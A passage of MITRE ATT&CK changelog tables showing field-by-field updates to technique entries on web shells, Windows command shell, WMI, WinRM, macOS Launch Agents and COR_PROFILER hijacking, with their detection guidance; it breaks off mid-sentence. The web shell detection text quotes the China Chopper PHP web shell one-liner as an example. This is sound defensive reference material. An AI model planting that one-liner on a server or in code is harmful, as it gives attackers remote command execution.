| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 02:53:19.246000+00:00 | 2021-10-17 15:45:01.956000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). | Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 13:21:37.474000+00:00 | 2021-10-12 14:22:09.650000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Jen Burns, HubSpot | |
| x_mitre_platforms | IaaS |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Arnim Rupp, Deutsche Lufthansa AG'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:34:19.752000+00:00 | 2021-07-26 13:46:47.993000+00:00 |
| external_references[3]['source_name'] | US-CERT Alert TA15-314A Web Shells | NSA Cyber Mitigating Web Shells |
| external_references[3]['description'] | US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016. | NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021. |
| external_references[3]['url'] | https://www.us-cert.gov/ncas/alerts/TA15-314A | https://github.com/nsacyber/Mitigating-Web-Shells |
| x_mitre_detection | Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)
<?php @eval($_POST['password']);>
Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd.exe or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) | Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)
<?php @eval($_POST['password']);>
Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)
File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)
Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US-CERT Alert TA15-314A Web Shells', 'description': 'US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA15-314A'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the Windows command shell for executio | t | 1 | Adversaries may abuse the Windows command shell for executio |
| > | n. The Windows command shell ([cmd](https://attack.mitre.org | > | n. The Windows command shell ([cmd](https://attack.mitre.org | ||
| > | /software/S0106)) is the primary command prompt on Windows s | > | /software/S0106)) is the primary command prompt on Windows s | ||
| > | ystems. The Windows command prompt can be used to control al | > | ystems. The Windows command prompt can be used to control al | ||
| > | most any aspect of a system, with various permission levels | > | most any aspect of a system, with various permission levels | ||
| > | required for different subsets of commands. Batch files (e | > | required for different subsets of commands. The command prom | ||
| > | x: .bat or .cmd) also provide the shell with a list of seque | > | pt can be invoked remotely via [Remote Services](https://att | ||
| > | ntial commands to run, as well as normal scripting operation | > | ack.mitre.org/techniques/T1021) such as [SSH](https://attack | ||
| > | s such as conditionals and loops. Common uses of batch files | > | .mitre.org/techniques/T1021/004).(Citation: SSH in Windows) | ||
| > | include long or repetitive tasks, or the need to run the sa | > | Batch files (ex: .bat or .cmd) also provide the shell with | ||
| > | me set of commands on multiple systems. Adversaries may lev | > | a list of sequential commands to run, as well as normal scri | ||
| > | erage [cmd](https://attack.mitre.org/software/S0106) to exec | > | pting operations such as conditionals and loops. Common uses | ||
| > | ute various commands and payloads. Common uses include [cmd] | > | of batch files include long or repetitive tasks, or the nee | ||
| > | (https://attack.mitre.org/software/S0106) to execute a singl | > | d to run the same set of commands on multiple systems. Adve | ||
| > | e command, or abusing [cmd](https://attack.mitre.org/softwar | > | rsaries may leverage [cmd](https://attack.mitre.org/software | ||
| > | e/S0106) interactively with input and output forwarded over | > | /S0106) to execute various commands and payloads. Common use | ||
| > | a command and control channel. | > | s include [cmd](https://attack.mitre.org/software/S0106) to | ||
| > | execute a single command, or abusing [cmd](https://attack.mi | ||||
| > | tre.org/software/S0106) interactively with input and output | ||||
| > | forwarded over a command and control channel. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 15:36:02.195000+00:00 | 2021-07-26 17:13:07.345000+00:00 |
| description | Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems. Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel. | Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows) Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems. Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel. |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'SSH in Windows', 'description': 'Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Windows Management Instrumentation (WM | t | 1 | Adversaries may abuse Windows Management Instrumentation (WM |
| > | I) to achieve execution. WMI is a Windows administration fea | > | I) to execute malicious commands and payloads. WMI is an adm | ||
| > | ture that provides a uniform environment for local and remot | > | inistration feature that provides a uniform environment to a | ||
| > | e access to Windows system components. It relies on the WMI | > | ccess Windows system components. The WMI service enables bot | ||
| > | service for local and remote access and the server message b | > | h local and remote access, though the latter is facilitated | ||
| > | lock (SMB) (Citation: Wikipedia SMB) and Remote Procedure Ca | > | by [Remote Services](https://attack.mitre.org/techniques/T10 | ||
| > | ll Service (RPCS) (Citation: TechNet RPC) for remote access. | > | 21) such as [Distributed Component Object Model](https://att | ||
| > | RPCS operates over port 135. (Citation: MSDN WMI) An adver | > | ack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remo | ||
| > | sary can use WMI to interact with local and remote systems a | > | te Management](https://attack.mitre.org/techniques/T1021/006 | ||
| > | nd use it as a means to perform many tactic functions, such | > | ) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operate | ||
| > | as gathering information for Discovery and remote Execution | > | s using port 135, whereas WMI over WinRM operates over port | ||
| > | of files as part of Lateral Movement. (Citation: FireEye WMI | > | 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI | ||
| > | SANS 2015) (Citation: FireEye WMI 2015) | > | ) (Citation: FireEye WMI 2015) An adversary can use WMI to | ||
| > | interact with local and remote systems and use it as a means | ||||
| > | to execute various behaviors, such as gathering information | ||||
| > | for Discovery as well as remote Execution of files as part | ||||
| > | of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Cita | ||||
| > | tion: FireEye WMI 2015) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['@ionstorm'] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_system_requirements | ['WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication.'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-13 22:50:51.258000+00:00 | 2021-10-15 23:58:07.715000+00:00 |
| description | Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI) An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) | Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI) (Citation: FireEye WMI 2015) An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) |
| external_references[1]['source_name'] | Wikipedia SMB | MSDN WMI |
| external_references[1]['description'] | Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016. | Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016. |
| external_references[1]['url'] | https://en.wikipedia.org/wiki/Server_Message_Block | https://msdn.microsoft.com/en-us/library/aa394582.aspx |
| external_references[2]['source_name'] | TechNet RPC | FireEye WMI 2015 |
| external_references[2]['description'] | Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016. | Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. |
| external_references[2]['url'] | https://technet.microsoft.com/en-us/library/cc787851.aspx | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf |
| external_references[3]['source_name'] | MSDN WMI | FireEye WMI SANS 2015 |
| external_references[3]['description'] | Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016. | Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020. |
| external_references[3]['url'] | https://msdn.microsoft.com/en-us/library/aa394582.aspx | https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye WMI SANS 2015', 'description': "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020.", 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf'} | |
| external_references | {'source_name': 'FireEye WMI 2015', 'description': 'Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 21:32:54.094000+00:00 | 2021-10-16 20:11:13.719000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to interact with remote systems using Wi | > | g/techniques/T1078) to interact with remote systems using Wi | ||
| > | ndows Remote Management (WinRM). The adversary may then perf | > | ndows Remote Management (WinRM). The adversary may then perf | ||
| > | orm actions as the logged-on user. WinRM is the name of bot | > | orm actions as the logged-on user. WinRM is the name of bot | ||
| > | h a Windows service and a protocol that allows a user to int | > | h a Windows service and a protocol that allows a user to int | ||
| > | eract with a remote system (e.g., run an executable, modify | > | eract with a remote system (e.g., run an executable, modify | ||
| > | the Registry, modify services).(Citation: Microsoft WinRM) I | > | the Registry, modify services).(Citation: Microsoft WinRM) I | ||
| > | t may be called with the `winrm` command or by any number of | > | t may be called with the `winrm` command or by any number of | ||
| > | programs such as PowerShell.(Citation: Jacobsen 2014) | > | programs such as PowerShell.(Citation: Jacobsen 2014) WinRM | ||
| > | can be used as a method of remotely interacting with [Wind | ||||
| > | ows Management Instrumentation](https://attack.mitre.org/tec | ||||
| > | hniques/T1047).(Citation: MSDN WMI) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 12:25:03.014000+00:00 | 2021-06-23 19:22:52.870000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user. WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user. WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI) |
| external_references[3]['source_name'] | Medium Detecting Lateral Movement | MSDN WMI |
| external_references[3]['description'] | French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019. | Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016. |
| external_references[3]['url'] | https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc | https://msdn.microsoft.com/en-us/library/aa394582.aspx |
| x_mitre_detection | Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) | Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS). |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Medium Detecting Lateral Movement', 'description': 'French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc'} | |
| x_mitre_data_sources | Service: Service Metadata |
Current version: 1.2
Version changed from: 1.0 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 13:54:08.239000+00:00 | 2021-09-28 13:09:50.809000+00:00 |
| x_mitre_data_sources[0] | Network Traffic: Network Traffic Flow | Network Traffic: Network Traffic Content |
| x_mitre_version | 1.0 | 1.2 |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create or modify launch agents to repeatedly | t | 1 | Adversaries may create or modify launch agents to repeatedly |
| > | execute malicious payloads as part of persistence. Per Appl | > | execute malicious payloads as part of persistence. When a u | ||
| > | e’s developer documentation, when a user logs in, a per-user | > | ser logs in, a per-user launchd process is started which loa | ||
| > | launchd process is started which loads the parameters for e | > | ds the parameters for each launch-on-demand user agent from | ||
| > | ach launch-on-demand user agent from the property list (plis | > | the property list (.plist) file found in <code>/System/Libra | ||
| > | t) files found in <code>/System/Library/LaunchAgents</code>, | > | ry/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, | ||
| > | <code>/Library/LaunchAgents</code>, and <code>$HOME/Library | > | and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs | ||
| > | /LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemo | > | Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citat | ||
| > | ns) (Citation: OSX Keydnap malware) (Citation: Antiquated Ma | > | ion: Antiquated Mac Malware) Property list files use the <co | ||
| > | c Malware). These launch agents have property list files whi | > | de>Label</code>, <code>ProgramArguments </code>, and <code>R | ||
| > | ch point to the executables that will be launched (Citation: | > | unAtLoad</code> keys to identify the Launch Agent's name, ex | ||
| > | OSX.Dok Malware). Adversaries may install a new launch ag | > | ecutable location, and execution time.(Citation: OSX.Dok Mal | ||
| > | ent that can be configured to execute at login by using laun | > | ware) Launch Agents are often installed to perform updates t | ||
| > | chd or launchctl to load a plist into the appropriate direct | > | o programs, launch user specified programs at login, or to c | ||
| > | ories (Citation: Sofacy Komplex Trojan) (Citation: Methods | > | onduct other developer tasks. Launch Agents can also be ex | ||
| > | of Mac Malware Persistence). The agent name may be disguise | > | ecuted using the [Launchctl](https://attack.mitre.org/techni | ||
| > | d by using a name from a related operating system or benign | > | ques/T1569/001) command. Adversaries may install a new Lau | ||
| > | software. Launch Agents are created with user level privileg | > | nch Agent that executes at login by placing a .plist file in | ||
| > | es and are executed with the privileges of the user when the | > | to the appropriate folders with the <code>RunAtLoad</code> o | ||
| > | y log in (Citation: OSX Malware Detection) (Citation: OceanL | > | r <code>KeepAlive</code> keys set to <code>true</code>.(Cita | ||
| > | otus for OS X). They can be set up to execute when a specifi | > | tion: Sofacy Komplex Trojan)(Citation: Methods of Mac Malwar | ||
| > | c user logs in (in the specific user’s directory structure) | > | e Persistence) The Launch Agent name may be disguised by usi | ||
| > | or when any user logs in (which requires administrator privi | > | ng a name from the related operating system or benign softwa | ||
| > | leges). | > | re. Launch Agents are created with user level privileges and | ||
| > | execute with user level permissions.(Citation: OSX Malware | ||||
| > | Detection)(Citation: OceanLotus for OS X) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 22:11:45.513000+00:00 | 2021-10-15 07:41:40.262000+00:00 |
| description | Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).
Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges). | Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.
Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.
Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) |
| x_mitre_detection | Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications. | Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.
Ensure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. |
| x_mitre_version | 1.0 | 1.2 |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 19:30:11.783000+00:00 | 2021-06-07 19:23:33.039000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Yossi Nisani, Cymptom |
Current version: 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-24 13:40:52.952000+00:00 | 2021-10-17 14:51:49.334000+00:00 |
Current version: 2.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 12:26:11.595000+00:00 | 2021-10-13 14:05:15.038000+00:00 |
Current version: 2.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-20 16:21:28.502000+00:00 | 2021-10-18 18:57:04.505000+00:00 |
Current version: 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 18:09:45.539000+00:00 | 2021-09-02 17:18:55.891000+00:00 |
Current version: 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-22 20:21:10.590000+00:00 | 2021-08-16 15:23:38.940000+00:00 |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-24 13:50:12.837000+00:00 | 2021-10-19 04:03:47.056000+00:00 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage the COR_PROFILER environment variab | t | 1 | Adversaries may leverage the COR_PROFILER environment variab |
| > | le to hijack the execution flow of programs that load the .N | > | le to hijack the execution flow of programs that load the .N | ||
| > | ET CLR. The COR_PROFILER is a .NET Framework feature which a | > | ET CLR. The COR_PROFILER is a .NET Framework feature which a | ||
| > | llows developers to specify an unmanaged (or external of .NE | > | llows developers to specify an unmanaged (or external of .NE | ||
| > | T) profiling DLL to be loaded into each .NET process that lo | > | T) profiling DLL to be loaded into each .NET process that lo | ||
| > | ads the Common Language Runtime (CLR). These profiliers are | > | ads the Common Language Runtime (CLR). These profilers are d | ||
| > | designed to monitor, troubleshoot, and debug managed code ex | > | esigned to monitor, troubleshoot, and debug managed code exe | ||
| > | ecuted by the .NET CLR.(Citation: Microsoft Profiling Mar 20 | > | cuted by the .NET CLR.(Citation: Microsoft Profiling Mar 201 | ||
| > | 17)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROF | > | 7)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFI | ||
| > | ILER environment variable can be set at various scopes (syst | > | LER environment variable can be set at various scopes (syste | ||
| > | em, user, or process) resulting in different levels of influ | > | m, user, or process) resulting in different levels of influe | ||
| > | ence. System and user-wide environment variable scopes are s | > | nce. System and user-wide environment variable scopes are sp | ||
| > | pecified in the Registry, where a [Component Object Model](h | > | ecified in the Registry, where a [Component Object Model](ht | ||
| > | ttps://attack.mitre.org/techniques/T1559/001) (COM) object c | > | tps://attack.mitre.org/techniques/T1559/001) (COM) object ca | ||
| > | an be registered as a profiler DLL. A process scope COR_PROF | > | n be registered as a profiler DLL. A process scope COR_PROFI | ||
| > | ILER can also be created in-memory without modifying the Reg | > | LER can also be created in-memory without modifying the Regi | ||
| > | istry. Starting with .NET Framework 4, the profiling DLL doe | > | stry. Starting with .NET Framework 4, the profiling DLL does | ||
| > | s not need to be registered as long as the location of the D | > | not need to be registered as long as the location of the DL | ||
| > | LL is specified in the COR_PROFILER_PATH environment variabl | > | L is specified in the COR_PROFILER_PATH environment variable | ||
| > | e.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries m | > | .(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries ma | ||
| > | ay abuse COR_PROFILER to establish persistence that executes | > | y abuse COR_PROFILER to establish persistence that executes | ||
| > | a malicious DLL in the context of all .NET processes every | > | a malicious DLL in the context of all .NET processes every t | ||
| > | time the CLR is invoked. The COR_PROFILER can also be used t | > | ime the CLR is invoked. The COR_PROFILER can also be used to | ||
| > | o elevate privileges (ex: [Bypass User Account Control](http | > | elevate privileges (ex: [Bypass User Account Control](https | ||
| > | s://attack.mitre.org/techniques/T1548/002)) if the victim .N | > | ://attack.mitre.org/techniques/T1548/002)) if the victim .NE | ||
| > | ET process executes at a higher permission level, as well as | > | T process executes at a higher permission level, as well as | ||
| > | to hook and [Impair Defenses](https://attack.mitre.org/tech | > | to hook and [Impair Defenses](https://attack.mitre.org/techn | ||
| > | niques/T1562) provided by .NET processes.(Citation: RedCanar | > | iques/T1562) provided by .NET processes.(Citation: RedCanary | ||
| > | y Mockingbird May 2020)(Citation: Red Canary COR_PROFILER Ma | > | Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May | ||
| > | y 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: Gi | > | 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: Git | ||
| > | tHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers Ma | > | Hub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May | ||
| > | y 2017) | > | 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-26 16:09:58.920000+00:00 | 2021-08-30 21:35:12.049000+00:00 |
| description | Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a 